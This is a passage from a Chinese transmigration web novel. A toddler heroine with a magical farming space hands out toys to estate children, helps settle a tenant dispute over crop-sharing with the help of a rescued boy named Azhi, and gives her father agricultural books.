阿沅眼睛亮晶晶地盯着那盘肉,自己小碗里刚被爹爹夹来的一块,她想也没想,就用还不太稳当的小筷子努力夹起,颤巍巍地越过自己面前的碗碟,准确无误地放进了旁边阿执的碗中。
孟大川举着筷子,看着自己空落落的“爱心投递”,再瞅瞅女儿那献宝似的笑脸,心里顿时也跟喝了醋似的,酸溜溜的。
但到底是一家之主,不好做得太过,只得悻悻地又给儿子夹了一块,顿了顿,终究还是给安**着的阿执也夹了一筷子腊肉,干巴巴道:“多吃点,长身体。”
阿沅丝毫没察觉爹爹那点微妙情绪,咽下一口饭,又扬起小脸,满是天真地问:“阿执哥哥和杨先生以后都跟我们一起吃饭吗?”她可喜欢热闹了,人多吃饭香。
这话一出,屋子里顿时静了静。以往杨先生总是以年岁大、牙口不好需细嚼慢咽为由,饭食都是单独往他屋里送的。一道道目光下意识地投向杨大儒。
“不知杨先生可愿意?”孟大川放下筷子,笑着询问。柳氏脸上笑容却微微一滞,显出些尴尬来。
她心里确实有点不乐意,倒不是小气,只是一家人日常用饭,说说笑笑,自在惯了。添个孩子倒也热闹,但若是餐餐都跟严肃的杨先生同桌,难免觉得拘束,连给孩子擦嘴夹菜怕是都要多几分顾忌。
就是几个孩子,白天被夫子督促读书,吃饭还要被夫子盯着,怕也会叫苦连天。
杨大儒将众人神色收在眼底,捋着花白的胡子,眉开眼笑,很是识趣:“老夫吃的都是特意炖得烂糊的饭菜,吃饭也慢,就不叨扰你们一家天伦了。”
说着,目光转向身侧的阿执,那眼神里的疼惜几乎要溢出来,“阿执跟着你们就好,这孩子……规矩是好的。”后半句声音低了些,似感慨,又似欣慰。
“那就这么定了。杨先生若是吃食上有什么特别讲究,妾身一定仔细安排,让厨房做好。”柳氏闻言,明显松了口气,笑容也重新真切起来,顺势接话道。
她再看向阿执,觉得这孩子越看越顺眼,吃饭时腰板挺直,咀嚼无声,夹菜也只夹靠近自己这边的,恭顺有礼得不像个九岁的孩子。
而且有他在,阿沅吃饭都积极了许多,不用她哄喂,自己握着小勺,吃得腮帮子一鼓一鼓。
小嘴还吧啦吧啦说个不停,一会儿问“阿执哥哥你喜欢吃鱼吗”,一会儿说“这个丸子甜甜的,阿执哥哥快吃。”,饭桌上满是孩童清脆的欢声,显然开心极了。
看着这一幕,柳氏心里某个角落忽然软软地塌陷下去。
安老北军医者诊脉后的话,说她那恶婆婆给的“求子方”早已伤了根本,子嗣怕是再难有指望了。
虽已有了瑾儿和阿沅,心满意足,但偶尔夜深,也掠过一丝难以言说的遗憾,总觉得再多个一儿半女才算是圆满。
此刻看着安静吃饭的阿执和活泼的女儿,一个念头蓦地生出,像颗种子落进了心田:“这孩子若是一直记不起来,找不到家人,就当我们多个儿子吧。”
许是神仙姑姑垂怜,见他们心思纯善,特意给送来的福分呢。
这想法让她看向阿执的目光,不自觉又添了几分柔和的暖意。
“咳咳咳!”
“咳咳咳!”
她这话刚出口,也在心底转了一圈,孟大川和杨先生同时剧烈地咳嗽起来。孟大川更是搁下碗,难得板起脸,声音带着不容置疑的严厉:“夫人不可胡言!”
他眼神快速扫过正低头默默吃饭的阿执,语气放缓,却更显郑重,“我看阿执头部那伤并不严重,定是能慢慢恢复记忆的,家人想必也正焦急寻找。”
说完,似乎觉得方才语气太硬,又转向阿执,略显尴尬地笑了笑,解释道:“你柳姨就是太喜欢孩子,恨不得多出十个八个来围着她叫娘,阿执你别在意,莫要多想。”
阿执一直安静地听着,此刻放下碗筷,站起身来。他穿着不合身的宽大衣裳,动作却一丝不苟。
他面向柳氏和孟大川,躬身行了一个极标准的礼,抬起头时,眼睫微垂,声音清晰而平稳:“阿执只记得……自小便没了娘亲。如能承欢柳姨母膝下,得片刻慈爱,是阿执的万幸。”
这话说得妥帖又透着些许孤凉,听得柳氏鼻子一酸,几乎要落下泪来。
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没想到这孩子那么可怜,更是产生了共情。
“以后再说,以后再说!孩子先吃饭,饭都凉了!”杨先生见状,连忙打圆场,拿起公筷给阿执夹了块鱼肉,又示意孟大川和柳氏,眼神里带着阻止的意味,似乎不欲在这个话题上继续深谈下去。
一直睁着大眼睛观察的孟沅,总觉得爹爹和杨先生刚才的神情都怪怪的,爹爹好像有点紧张,杨先生咳嗽得也太巧了。
但她如今困在这三岁多的小身子里,脑瓜子想事情总觉得隔着一层软软的棉花,转不快,也琢磨不透。
哎!她心里小小地叹了口气,算了,不想了。反正现在看起来,全家除了哥哥好像有点别别扭扭,她看见哥哥趁人不注意悄悄瞪了阿执哥哥一眼。
其他人都不排斥阿执哥哥,娘亲好像还挺喜欢,爹爹也是关心的,连最严肃的杨先生都向着他。
既然他能留下来,以后日子长着呢,再慢慢观察就是了。
眼下最重要的是……
她又瞄了一眼那盘咕噜肉,趁大人说话,悄悄把自己的小碗往阿执那边推了推,用气声小小说:“阿执哥哥,再分你一块哦。”
阿沅又在空间里的休息室美美地睡了一觉。
这一次,或许是白日的兴奋与接纳新成员的种种心绪消耗了精力,她睡得格外沉,足足两个时辰后才悠悠醒转。
醒来时只觉神清气爽,浑身都充满了力气,连小胳膊小腿都仿佛轻快了几分。
精神抖擞后,她便开始忙活正事——收割第二季的稻谷。这次京城之行耽搁了些时日,进来收割的时间也晚了,这一季稻谷的生长时间比上一季多了五六天。
然而,当她踏入农田时,眼前的景象却让她微微惊讶。
那些金黄的稻穗沉甸甸的,几乎弯到了地上,穗子饱满得像是要胀开来,却依然整齐地挂在秆上,黄澄澄一片,竟没有一粒谷子脱落在地上,仿佛一群极有耐心的士兵,正默默列队,等待着主人来检阅收成。
这景象让她心里涌起一股奇异的安定感,空间似乎在用它自己的方式告诉她:不急,一切都为你留着。
收割的过程依旧顺利,金黄的稻谷如流水般归入粮仓。看着那堆积如山的粮食,阿沅心里估算着,这一季的收成,让粮仓又充实了不少,大约填满了一半的空间,但依旧有一半是空荡荡的。
第一卷 第107章 空间扩大,当回孩子王
正打算像上次一样,用意念开始翻地、准备下一轮播种时,才猛然发觉——土地竟然又扩大了!
而且这次扩大的面积绝非小打小闹。原本的二十亩良田已十分可观,如今放眼望去,一片平整肥沃的黑土地向远处延伸,目测至少增加了好几倍,加起来怕是有上百亩之广!
这突如其来的变化让她愣住了。
她站在空间的土地上,小小的身影面对着这骤然开阔的“疆域”,心里充满了疑惑。
她一面用意念操控着新土地进行翻耕,引水灌溉,均匀地撒下稻种。
这大规模的意念操作,即便有空间助力,也让她感到比以往吃力些,一面小脑袋瓜飞速运转,试图解开这个谜团。
为什么平白无故多了这么多土地?空间奖励的依据到底是什么?
仔细回想这次京城之行,似乎并没有做什么惊天动地的大事。给老虔婆下药,算是给她吃足了苦头,也是罪有应得;给那孟绫一点小小的教训,是微不足道。
至于路上见到的灾民,根本没有给予任何实质性的援助。那么,空间的奖励从何而来呢?
难道……是因为捡回来了阿执?这个念头闪过,她自己都觉得有些牵强。阿执哥哥身世不明,受了伤,自己家只是提供了暂时的庇护,这算什么大功德吗?可除此之外,她也实在想不出别的缘由。
想得脑仁都有些隐隐发胀了,依旧没个头绪。
“算了算了,”她习惯性地晃晃脑袋,把那些理不清的思绪像甩掉小辫子上的灰尘一样抛开,“不想了,反正土地多了是好事,能种更多粮食了!”
这一大波空间里的操作,从收割到处理上百亩土地的翻耕播种,虽然全程依靠意念,但规模和持续时间都远超以往。
阿沅只觉得精神上仿佛被抽走了一大块,异常疲惫,小脸都有些发白。
她强撑着没有立刻在空间里睡去,只是在那间温馨的休息室里靠坐了一会儿,恢复些力气,又泡了一小碗香喷喷的快餐面,“呼噜呼噜”吃完,热汤下肚,才感觉好了些。
出了空间,回到自己柔软的被窝里,几乎是脑袋一沾枕头,她就陷入了沉沉的梦乡。
这一次的累,是深入骨髓的疲惫,她甚至有些后怕:若是在空间里睡着,一觉不知时辰,万一睡过了头,外头天光大亮,红袖寻不见她,岂不是要闹得人仰马翻、鸡飞狗跳?
到时候,恐怕连明白空间存在原委的爹爹和娘亲,都难以解释她为何凭空消失那么久。还是在自己房里睡得安稳踏实。
阿沅当了一次孩子王。
原因是分好的小玩具,第二天她打算亲自发放到庄子所有孩子的手中,地点就在庄子里大榕树下的大晒场。
这主意是她昨儿跟几个小跟班想好的。
以至于天亮的时候,小脚丫子在被子里蹬来蹬去,眼睛却亮晶晶地望着帐顶,心里盘算着哪个娃娃该得哪个玩意儿,想着想着,自己先乐出了声。
早晨一起来,她就催着红豆快去传话,自己则站在榻上,由红袖帮着穿那身大红绣金盏花的小袄裙,一边伸胳膊一边急急道:“快些快些,还要吃饭呢,莫叫他们等急了!”
不用劳驾庄头林伯帮忙,红豆传了个话过去,庄子里的所有孩子就被黑丫和大牛二牛召集来了,很是神速。
黑丫那大嗓门从村东头响到村西头:“阿沅小姐发好玩意儿喽——”,大牛二牛则像两只灵活的猴子,蹿进屋子最为集中每条巷子,把正玩泥巴的、帮着喂鸡的、还在啃早饭馍馍的孩子们全给吆喝了出来。
阿沅吃了早饭带着人出去的时候,晒场里已是满满当当,全是两三岁到十二三岁的孩童和少年。
小的被哥哥姐姐牵着,吸溜着鼻涕,眼睛好奇地张望,也有的还睡意朦胧,应该是从被窝里被挖出来的。
大的三五成群,交头接耳,脸上是掩不住的兴奋和期待。
榕树下的石凳也坐了不少老婆子老头子,他们本就无事,听孙子孙女说有这档子事,便拄着拐杖,抱着还更小的孙儿,三三两两地来了,一来凑热闹,二来也顺便唠唠嗑。
再有就是还奶着孩子的妇人,看着日头暖和,风也轻柔,便把几个月大的娃娃用布兜裹在胸前,或抱在臂弯里,也聚到了一处,晒着太阳,低声说笑着,目光却都慈爱地望向晒场中央那抹醒目的红色。
“都过来排队,女孩排这边,男孩排大牛二牛那边去!”
“小的排前面,大的排后面!”
得了小姐撑腰,黑丫和大牛、二牛很是积极,早就搬出了原本巡防队吃饭用的长条木桌,将竹蜻蜓、小风车、拨浪鼓、彩绘泥人、小哨子、风筝、文房四宝、绣花丝线和帕子等玩具和小礼物一样样仔细摆开,做好了分发的架势。
黑丫叉着腰,像个小将军似的偶尔训斥几句,维持秩序;大牛二牛则挺起胸脯,努力让自己看起来更威严些。
阿沅太矮了,莲子也矮,但是两人站在绿果和红豆特意从厨房搬出来的、最高的小方凳上,在装满玩具的饭桌后面,很是扎眼。
阿沅为了站得更稳,一只小手还紧紧抓着旁边红豆的衣袖。她今日梳着两个圆圆的花苞头,各缠着一圈红丝带,随着她说话的小脑袋一晃一晃。小脸因为兴奋和用力吆喝,红扑扑的,像抹了上好的胭脂。把庄子里的孩子羡慕的不行。
自从大家都听得清她说的话后,阿沅的话更多了,小嘴叭叭嗒嗒个不停,声音又脆又亮,带着孩童特有的软糯,却又努力学着大人说话的腔调:
“最小的往前面来,那边抱在怀里的弟弟妹妹,让婶婶们先上来领拨浪鼓哦!摇起来‘咚咚’响的!”她说着,自己先拿起一个镶着彩珠的小鼓,轻轻摇了摇。
鼓声清脆,引得已经靠上前襁褓里的婴儿都转动着眼珠寻找声音来源。连大点的孩子都忍不住想要领一个。
第一卷 第108章 当了一回孩子王
“小哨子人人有份,看我,力气不大也吹得响。可不要就往嘴里塞,小心噎着!太小的小弟弟小妹妹就不要发了,明年再领。”她皱着小鼻子,故作严肃地叮嘱,那模样惹得旁边的老婆子们直乐。
“六岁以下的小妹妹小姐姐,可以来领一个小风车!要挑喜欢的颜色呀,插在窗边,风一吹,呼啦啦转,可好看啦!”她拿起一个红色的风车,鼓起腮帮子用力一吹,风车疾转,她自己也开心地眯起了眼睛。
“小哥哥,别吵呀!一户不论几个哥哥姐姐,只能领一个风筝。要一起玩,轮流放,不许抢!谁抢就不给谁啦!”看见几个半大男孩为了谁先挑争起来,她立刻提高了嗓门,叉着腰,乌溜溜的眼睛瞪过去,竟还真把那几个皮小子给镇住了。
“打架的排最后面,再打啥都不能领哦。我说的!”她小下巴一扬,颇有气势。
“文房四宝拿回去都放好,到时开课拿不出来,先生可是要打你们板子的哟!”她模仿着想象中夫子捋胡子的样子,逗得排队领笔墨的稍大孩子也忍不住笑。
“没事,帕子不够,就先领丝线和绣绷。红的、绿的、黄的,都有!到时有人要教你们女红的哟,绣朵小花,美得很!还可以卖钱。”她晃了晃手里一束五彩丝线,阳光下闪闪发亮。
阿沅一身喜庆的红服,像颗熟透的小果子,站在高高的凳子上,为了看清全场,时不时踮起脚尖,小手一会儿指着这边,一会儿挥向那边,嘴里叭叭嗒嗒地说个不停,也没人怕她,反而得了声声句句“谢谢阿沅小姐”的感谢声。
莲子也有样学样,站在她身旁略矮些的凳子上,学着小姐的口气吆喝,虽然声音没那么响,却也努力挺直了小身板,一下就把现场的气氛带得更热闹了。
原本看见小姐,特别是站她身后,不拘言笑的绿果和红豆,因此有点拘束的孩子们,相继得了点小礼物后,怯意慢慢退却,也活跃起来。晒场上很快充满了欢声笑语。
有拿到风车立刻举着跑的,有比较谁的小泥人更神气的,有试着吹响哨子发出尖锐声音的,还有几个顽皮的男孩已经试图组装起风筝骨架。
打打闹闹的有,相互比较的有,还有自家兄弟姐妹间因为谁先玩、分不均起了龃龉的,但都在黑丫、大牛二牛的调解和阿沅那“再吵就不给啦”的威胁下,很快平息,总体是玩乐、嬉笑为主,没起太大的纠纷。
“庄子里多久没有这样的气氛了,平时在家里为吃个烤红薯都大打出手的混世魔王们,今儿个倒都规矩了。”
“还是小姐心善,知道这群野孩子需要的是什么!这些玩意儿,看着不贵重,可孩子们是真欢喜。”
“可不是,就回京几天,都想着我们庄子里的孩子。还是大爷和大夫人教导的好,仁厚传家。”
“那不是,以前老夫人掌家那么久,就没见给过我们一点好处,还处处克扣,更不说孩子们了。如今这光景,才是盼头。”
……
大榕树下的老人们摇着扇子,晒着太阳,看着眼前这热闹光景,浑浊的眼睛里都带着笑意,纷纷感叹,语气里满是对大房一家的欣赏与感激。
“大家安静一下,听我说!”红袖见玩具分发得差不多了,按照事先的吩咐,提高了声音。
她如今说话利索了许多,声音也清亮:“现在庄子里的青壮年都在忙着犁田耙地,大点的哥哥姐姐尽管去帮忙。还要记得提醒家里的长辈,这次春耕犁田耙地定要仔细,土定要全部敲碎了,水也要放足。”
她顿了顿,看了眼站在凳子上、正认真对她点头的小阿沅,得到鼓励般继续道:“还有啊!各家各户积累了一冬的草木灰,怄好的粪便尽管往田地里撒。别嫌脏,那是好东西!争取这一季,打个丰收仗。”
“记得回去跟家中大人说,”红袖的声音更稳了,“这一次春耕不用各家各户育种,大老爷和大夫人体恤大家,她把‘佃户们灾后重建’这文绉绉的词换成了更实在的说法,种子钱全部给大家免了。大概十天左右,育好的禾苗会直接拉到各家各户的田头地里,省心省力!”
“这一季,禾苗的种法有点特殊,也很简便,七八岁以上的孩子都帮得上忙。”她模仿着小姐教她时的认真表情,“届时会有专门的老师傅,手把手教导大家怎么种,大家可都要认真学!”
……
红袖一大早又得了小姐的耳提面命,细细叮嘱了这些要紧话,之后还得了大夫人的提点,告诉她怎么说得更明白。
此刻她当起了传话筒,看着眼前黑压压的小脑袋和远处老人们关切的目光,心里一点也不慌。
这一次还有黑丫这个大姐姐靠在旁边,偶尔还帮忙维持秩序,喝止闹哄哄的孩子们:“听红袖说!正事要紧!”
这让她胆子更大了,说起话来条理清晰,一点都不带口吃的,利索得很。
比半年前,阿沅刚刚穿书来到这时,那个说话磕绊、反应总慢半拍的红袖,如今像是变了个人。听过她此刻这番响亮又清楚的话语的人,没人会认为她脑子不灵光,动作太迟钝,言语不成句或者不得体。
连她自己都觉得,站在这里,为小姐、为大房传递这样好的消息,浑身都充满了力气。
比之这边晒场孩子们的欢声笑语,那边林伯召集各家户主的场面可就凝重得多了。
孩子们的天地里,小姐和红袖的话便是金科玉律,小家伙们仰着沾了草屑、晒得红扑扑的小脸,听得认真极了,听到要紧处,小脑袋点得像啄米的小鸡,七嘴八舌地保证:“小姐放心,红袖姐姐放心,俺记牢了!”
“俺们回去就跟阿爹阿爷说!”
“大老爷大夫人是天大的好人!”那份纯然的信任与雀跃,几乎要随着晒场上蒸腾的热气一起飘散开来。
第一卷 第109章 阿执哥哥,谢谢你帮我
可这份轻松,到了林庄头——林伯这里,就化作了额头上擦不净的汗珠和心头沉甸甸的石头。
他一大早就被孟大川叫了去,得了主家那番关于统一育秧、指导种植,还是无偿提供的吩咐,本就心里打鼓,又硬着头皮作了半晌春耕的琐碎汇报,待他回来召集齐各家当家人,日头已近中天,明晃晃地晒得人发晕。
六月的天,因为土地解冻得迟的原因,早晚还有点寒凉,中午却有了很大一个跨越,好像从冬天直接到了夏天,很多人都剥了身上的袄子。
他把主家的意思刚说完,底下便像滚油锅里滴进了水,噼里啪啦炸开了。
“自己佃种的土地,还得用主家的秧苗?天底下没这个道理!还是让大老爷把稻种分下来,咱自己伺候着才踏实!”一个精瘦的汉子率先嚷道,他捏着旱烟杆的手因为激动而微微发抖。
“就是这话!”旁边立刻有人附和,是个满脸风霜的老农,声音沙哑却响亮,“大老爷和大夫人那是金贵人,肩不能挑手不能提,晓得啥时辰浸种、啥火候催芽?怕是连稗草和秧苗都分不清哩!庄稼活儿,可不是识几个字、念几句诗就能成的!”
“眼看春时都耽误好些了,再这么折腾,秋后喝西北风去么?”
“糟蹋了地,神仙也救不回来!咱不干!”
“咱庄子里谁家没留点种?不像别处,去东都把稻种吃完了,得跪着求官老爷赏。我明儿就动手撒谷种,谁也拦不着!”
七嘴八舌,嘈嘈杂杂,质疑声浪一波高过一波。
林伯站在人群前头,只觉得口干舌燥,平日里在田埂上指挥若定的气概,此刻被这些实实在在的担忧冲得七零八落。
他试着解释主家的好意,说秧苗免费送到地头,说或许有新法子,可这些话在佃户们祖祖辈辈积累的经验和眼前迫在眉睫的生计面前,显得那么苍白无力。
就连林伯自己,心里也忍不住犯了嘀咕:地才犁了几天?秧苗从哪儿来?大老爷真能变出这许多秧苗,不误农时么?他想着,额上的皱纹似乎更深了。
“都静一静!”林伯提高了嗓门,压下一片喧哗,“主家说了,用了他们的秧苗,照他们的法子种,秋后交了皇粮,剩下的对半分成!这是定了的章程!”
“五五分成?”人群里立刻炸出更响的惊呼。
一个抱着胳膊的壮汉冷笑道:“往年四六分,咱勒紧裤腰带,一亩地好歹还能落下几十斤嚼谷,吊着命!五五分成?这是想吸干咱们的血髓不成?”
“莫不是前几个月赈济咱们的粮食、炭火、药材,如今要连本带利地收回去?”一个妇人尖着嗓子道,脸上满是惊惶。
“原以为大房是菩萨心肠,没想到……天下乌鸦一般黑!”有人愤愤地啐了一口。
“这是不給咱活路了啊!”
“走!找大老爷说理去!这地,咱不种了!”不知谁喊了这么一嗓子,像一点火星溅入了干草堆。
人群骚动起来,先前的不满迅速发酵成愤怒,几个年轻的汉子已经撸起了袖子,眼神不善地望向大宅方向。
林伯心头一紧,张开双臂想拦,却又不知该先劝哪一边,只觉得一阵心累。
若不是大老爷、大夫人和公子都病着,还能亲自来解释一番,现在可如何是好。
就在这剑拔弩张的当口,一道清冷,却又因稚气未脱而显得格外清晰的声音,像一捧雪水,从人群后面泼了过来:
“若是亩产过了四五百斤呢?多出来的粮食,你们要不要?”众人愕然回首,只见一个身着半旧锦袍、容貌如玉的俊秀小小少年不知何时站在了那里。
他身量未足,比周围大半人都矮,可那挺直的脊背和沉静的眼神,却自有一股不容忽视的气度。
他顿了顿,目光扫过一张张或愤怒或疑虑的脸,继续道:“林伯,不如立个契约。不愿五五分成的,秋后每亩地,只管让他们领百斤粮食。余下的,无论多少,都归主家。”
这提议石破天惊,震得众人都是一愣。亩产四五百斤?那简直是梦话!可这少年说得如此笃定……
“对!剩下的粮食都归我们家!”一个更奶气、却同样响亮的声音紧接着响起,带着一股欢腾的劲儿。
只见一个小不点从人群缝隙里像条滑溜的小鱼般钻了出来,正是三岁的小阿沅。
她今儿穿了一身粉红衫子,外头又披了件小夹袄。头上两个小揪揪因为方才的躲藏有些松散,几缕软发贴在汗津津的额角。
她先是冲着那漂亮少年阿执咧开嘴,露出几颗小米牙,笑得见牙不见眼,然后像只归巢的雀儿般扑过去,两只小手紧紧攥住阿执的手,用力摇了摇,仰着小脸,用能甜出蜜来的小嗓音清脆地喊:“阿执哥哥!谢谢你帮我!”
那模样,仿佛阿执不是说了句惊人之语,而是给她摘了朵最漂亮的花儿。
阿执被她摇得微微一晃,脸上闪过一丝不易察觉的红晕,稳了稳心神,才找补似的解释道:“是怀瑾师兄不放心阿沅,让我来看看。有哥哥在,阿沅别怕。”
他这话半真半假,实则是听了先生关于春耕水稻种植的议论,心中好奇跟来,又见阿沅急得抓耳挠腮、对着丫鬟比划却说不利索,这才忍不住出了头。
话一出口,他自己心里也打鼓,刚刚小丫头说的是亩产千斤?他还减了一半来说。
这海口夸得着实太大了。可看着阿沅那双亮晶晶、充满自信的眼睛,再看看眼前这群被生计逼得快要红眼的佃户,他忽然觉得,就算最后真要自己贴补银子圆这个场,也值了。
孟家夫妇,不像信口开河之人。小阿沅,好像也很认真。
佃户们的目光,此刻都聚焦在这两个孩子身上。那叫阿执的少年,年纪虽小,通身的气派和方才说话时那股不容置疑的力道,竟让一些老成的庄稼汉心里也犯了嘀咕。
而主家小姐……粉团子似的小人儿,紧紧拉着那少年的手,小脸上满是“我阿执哥哥说得对”的骄傲与肯定,这场景莫名冲淡了些许空气中的火药味。
林伯看着并肩而立的小姐和阿执,又望了望躁动不安的人群,心念电转。
他想起大老爷平日里的宽厚,大夫人的仁善,也想起这几个月庄子里实实在在的变化。此刻,或许需要的正是一个打破僵局的由头。
第一卷 第110章 签契约
林伯不再犹豫,深吸一口气,洪亮的声音压住了剩余的嘈杂:
“都听清了!主家的意思,小姐和这位小公子的话,就是凭证!
两条路:要么信主家,秋后五五分成;要么,就签契约,秋后收成除了百斤,剩下的,哪怕真打下八百斤、一千斤,也全跟你们没有关系。
何去何从,自个儿回去跟婆娘、跟爹娘商量清楚!吃罢晚饭,都到大榕树底下,白纸黑字,签字画押!就这么定了!”
这一锤定音的话在人群中炸开,刚才宛若铁水将倾的场面,忽然变得沉寂,好久都没有声音。
“我信大老爷大夫人!我家就签五五分成!”黑丫第一个跳出来,声音斩钉截铁。
“没错!不能忘了恩!治病、上学、吃的穿的烧的、修房子的瓦片木料、稻草……哪一样不是大老爷大夫人给的实惠?眼皮子不能那么浅!我家也签五五分!”二叔婆兴冲冲地站出来,话语却掷地有声。
“说得在理!要是大老爷真有歹心,雪灾那会儿关紧门自己保平安就是了,哪会管我们死活?看看隔壁庄子……哎!我也签!听主家的!”又一个汉子大声道。
有人带头,许多原本动摇的人也被点醒,纷纷表态愿意跟着主家走。当然,也仍有不少人面露难色,搓着手道:“这……这事实在太大,容我回去跟家里再计较计较……”
先前那股要冲去大宅说理的汹汹之气,不知不觉已消散了大半。
人群开始三三两两地议论着,各自散去,只留下晒场上依旧灼热的阳光,和那尚未落定的、关于秋收的沉重期盼。
晚上的签约阿沅没有去,是不能去,又被爹爹和娘亲拘在家里了。
屋里的光晕黄黄暖暖的,却照不亮阿沅心里那点想往外飞的小念头。
爹爹娘亲和哥哥不能出去露面的原因就不用说了——他们是这庄子里的病人,是暗处的一抹影子,自然不见光最好。
她不能出门,自然是年纪太小,再者爹娘是万万不肯让她的灵异和不同寻常暴露于人前的。
若被有心人瞧了去,怕是会招来泼天的大祸。这道理阿沅懂,可三岁孩童的心性哪管得了这许多,只觉得闷,觉得委屈,小嘴撅得能挂上个油瓶。
“柒叔和老北爷爷去你还不放心?”孟大川看着女儿那皱成一团的小脸,心里又是好笑又是软,伸手就用他粗粝的指头捏了捏她小巧的鼻尖。
阿沅被捏得痒痒,“唔”了一声,像只受了委屈的小猫儿,把整个脑袋都窝进了爹爹宽阔温热的怀里,只留下一头柔软乌黑的发顶对着人,仿佛这样就能藏起所有的不乐意。
“也不是啦!”闷闷的声音从爹爹胸口传来,带着点撒娇的黏糊劲,“莲花和红袖都能去,为什么就阿沅不能去?”她耍赖,一双小短腿在爹爹膝上无意识地蹬着,也知道这赖皮没什么用,可就是不甘心。
一生气,便将那发痒的鼻尖在爹爹那件半旧不新的青布衣襟上蹭了又蹭,仿佛要把那点憋闷都蹭掉似的。
她哪里是不放心签约的事,只是纯粹想去凑那份热闹而已。白天里看庄子里的人为了田租吵得面红耳赤、唾沫横飞,那架势、那词儿,可比哥哥念的“之乎者也”生动有趣多了。
她看得津津有味,心里还偷偷记下几句厉害的,想着多学些,以后跟人理论吵架都能用得上,那才威风呢!
至于签约的事,她是真的一点都不担心。
柒叔那高大魁梧的身板,冷肃沉稳的脸,光是远远站着就很有威慑力,哪个不开眼的敢造次?一点乱子都不会有。
孟大川把老北爷爷也叫去,自然有他的算计。庄子里家家户户,谁没求老北爷爷看过病、抓过药?老人家慈眉善目,说话在理,大家自然对他信赖,说话肯定有点分量,没什么不放心的。
再就是他们开出的条件——无论丰年歉年,保底收成,丰收还能多分——佃户们只要回去拨拉拨拉算盘珠子,就知道这是光赚不赔的买卖。
不管是老天爷赏脸还是板着脸,种出多少粮食,他们都只有分到更多粮食的份,除非是傻子,才会捏着那旧租契不撒手。
“爹爹,种完稻子,学堂是不是要开课了?”阿沅忽然从爹爹怀里扬起小脸,黑葡萄似的眼珠亮晶晶的,充满了好奇。
“快了,开蒙,从镇子上直接找个童生就行,柒叔已经在办了。就是桌椅还没打好。”孟大川回答。
阿沅对庄子里的学堂还是有点向往的,比起天天被杨先生和哥哥拘在屋里,苦着脸描那仿佛永远也写不完的几页大字,她更想去庄子里的学堂。
那里人多,闹哄哄的,肯定也有像她这般年纪的小豆丁,大家可以一起玩,玩玩闹闹,半天时辰“嗖”一下就过去了,那该多快活!
至于说能跟着学多少圣贤道理、科举文章,她是不想的。前世高中三年,特别是高三那年,铺天盖地的试卷、没完没了的刷题,她觉得那就是一场醒不过来的噩梦,可不想在这辈子重来一次了。
古代的教书育人,在她看来,纯粹就是为了那千军万马过的独木桥——科举。她偶尔能静下心来认真写上几页大字,纯粹只是为了熟悉这古代文字的笔画结构,能够轻松看懂话本、账册,不做个睁眼瞎罢了。
她又不想去考状元、当女官,何苦要做这种折磨自己的无用功?
她现在只想开开心心地玩,快快乐乐、又有助力地把地种好,让爹娘哥哥、让庄子里的人都吃饱穿暖,那才是顶顶要紧的正经事。
第一卷 第111章 培养个古代农学专家,混个司农寺卿当当
“爹爹,这些书您要认真学哦。”阿沅心思一转,小脸上露出几分狡黠又认真的神色,白嫩嫩的手指头在床榻的薄被上轻轻一点。只听“哗啦啦”一阵轻微的、书本跌落的声音,那原本空无一物的被面上,凭空出现了厚薄不一,十几本蓝皮线装的书籍,垒得整整齐齐。
“阿沅还想爹爹考状元?笑得那么贼!”孟大川被女儿这突如其来的“神通”和那古灵精怪的笑容弄得一怔,随即失笑。
这回没捏鼻子,而是伸出大手,轻轻扯了扯阿沅那柔软的、透着粉红的小耳朵。
他摇了摇头,望着那摞书,眼里掠过一丝自嘲,叹气道:“爹爹知道自己有几斤几两,肚子里那点墨水,当年考个秀才已是侥幸,再怎么拼命啃书本,估计最多也只能蹭个举人的边儿。”
他顿了顿,想到如今的处境,又笑了笑,那笑容里带着点无奈,也带着点自我宽慰:“不过阿沅也别担心,等爹爹的腿好利索了,即便不能再上马提枪做武官,但凭着以前的资历和些微军功,想法子活动活动,继续在京城谋个四五品的闲职还是可以的,总不会饿着咱们阿沅。”
但其实他心里也暗自叹了口气。去年那场胜仗,他本是先锋,拼死杀敌,论理是该直接升官,或是顺利承袭侯爵的,没成想却被府里那老虔婆和精于算计的二房联手,偷天换日,硬生生抢了他的军功,还把他逼到这步田地。
他本也不是块读书的料子,坐不住那冷板凳,不然当初也不会中了秀才后便不再继续,而是凭着祖荫直接去做了个小小的武官,在沙场上挣前程。
“不是不是,”阿沅把头摇成了拨浪鼓,两根小辫子随着动作欢快地甩动。她伸出小手,有些费力地拿起最上面那本看起来最薄的书。
哗啦一下摊开,举到了爹爹的眼前,几乎要碰到他的鼻子:“爹爹快看,这可不是考状元的书!这是神仙姑姑给的,是教人怎么种田的宝贝书!”
阿沅嘿嘿笑着,眉眼弯成了月牙。自从发现自己能用意念在空间里做许多事,她可没闲着。把实验室中那些关于水稻育种、栽培、病虫害防治的现代专业书籍,挑拣着最实用、最基础的部分,用意念“翻译”成了这个时代通行的文字,还配了些简单易懂的示意图。
她的小脑瓜子早就盘算好了:这个年代,什么宏图大业都是虚的,能让天下百姓吃饱穿暖,那就是天大的功德。
若是能把爹爹培养成一位通晓农事、能改良粮种的“古代农学专家”,不但能赢得百姓的爱戴,就算是再蠢钝的皇帝,为了江山稳固、仓廪充实,也不可能不重用他。
朝廷里好像也有专管农事的部门,叫什么来着?杨先生好像提过一嘴,叫“司农寺”,那里最大的官儿好像叫“司农寺卿”,听着就挺威风的。这职务,不用打打杀杀,也不用整天之乎者也掉书袋,正适合爹爹!
这样,她空间里那些好稻种拿出来推广,就有了最稳妥的靠山和渠道。背靠爹爹这棵大树,她可以安心“躺平”,捣鼓更多好东西,而天下的百姓,说不定也能因此多吃上一碗饱饭。
“爹爹能行吗?”孟大川就着女儿的手,粗粗翻了几页,只见上面写着“浸种催芽法”、“育秧密疏论”、“肥田之说”等等,配着些他没见过的图形,确实是他从未接触过的学问。
他眉头不由地皱了起来,心里首先打起了鼓,怀疑自己这块“材料”能不能啃得动。
“怎么不行?爹爹能文能武,是天底下最厉害的爹爹!”阿沅立刻开启甜言蜜语模式,小马屁拍得啪啪响。
在她心里,自家爹爹识文断字,还能带兵打仗,逻辑思维和执行力绝对不差,相当于现代被211、985重点大学录取的高材生。
自己这个前世农学博士亲自“编写教材”、贴身辅导,还怕教不会吗?
“再说,不是还有阿沅和神仙姑姑在背后帮爹爹吗?”阿沅挺了挺小胸脯,自信满满,那模样活像只骄傲的小公鸡。
